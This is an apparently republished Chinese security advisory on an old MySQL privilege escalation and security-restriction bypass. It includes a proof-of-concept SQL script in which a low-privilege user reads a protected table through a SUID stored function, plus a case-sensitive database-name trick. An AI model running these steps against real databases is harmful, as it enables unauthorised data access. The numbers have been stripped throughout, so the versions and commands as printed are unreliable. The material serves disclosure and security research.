知识大全 MySQL权限提升及安全限制绕过漏洞

Posted 2022-07-15 权限

篇首语：游手好闲地学习，并不比学习游手好闲好。本文由小常识网(cha138.com)小编为大家整理，主要介绍了知识大全 MySQL权限提升及安全限制绕过漏洞相关的知识，希望对你有一定的参考价值。

MySQL权限提升及安全限制绕过漏洞 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容，让我们赶快一起来看一下吧！

　　受影响系统

　　MySQL AB MySQL <=

　　描述

　　BUGTRAQ ID:

　　MySQL是一款使用非常广泛的开放源代码关系数据库系统拥有各种平台的运行版本

　　在MySQL上拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名

　　此外由于在错误的安全环境中计算了suid例程的参数攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句成功攻击要求用户对所存储例程拥有EXECUTE权限

　　测试方法

　　【警告以下程序(方法)可能带有攻击性仅供安全研究与教学之用使用者风险自负！】

　　创建数据库

　　$ mysql h my mysql server u sample p A sampleEnter password: Wele to the MySQL monitor Commands end with ; or \\g Your MySQL connection id is to server version: standard

　　mysql> create database another;ERROR : Access denied for user sample @ % to database another

　　mysql> create database sAmple; Query OK row affected ( sec)

　　权限提升

　　 disable_warningsdrop database if exists mysqltest ;drop database if exists mysqltest ;drop function if exists f_suid; enable_warnings

　　# Prepare playgroundcreate database mysqltest ;create database mysqltest ;create user malory@localhost;grant all privileges on mysqltest * to malory@localhost;

　　# Create harmless (but SUID!) functioncreate function f_suid(i int) returns int return ;grant execute on function test f_suid to malory@localhost;

　　use mysqltest ;# Create table in which malory@localhost will be interested but to which# he won t have any accesscreate table t (i int);

　　connect (malcon localhost malory mysqltest );

　　# Correct malory@localhost don t have access to mysqltest t error ER_TABLEACCESS_DENIED_ERRORselect * from mysqltest t ;

　　# Create function which will allow to exploit security holedelimiter |;create function f_evil ()returns intsql security invokerbeginset @a:= current_user();set @b:= (select count(*) from mysqltest t );return ;end|delimiter ;|

　　# Again correct error ER_TABLEACCESS_DENIED_ERRORselect f_evil();select @a @b;

　　# Oops!!! it seems that f_evil() is executed in the context of# f_suid() definer so malory@locahost gets all info that he wantsselect test f_suid(f_evil());select @a @b;

　　connection default;drop user malory@localhost;drop database mysqltest ;drop database mysqltest ;

　　建议

　　厂商补丁 MySQL AB

cha138/Article/program/MySQL/201311/29307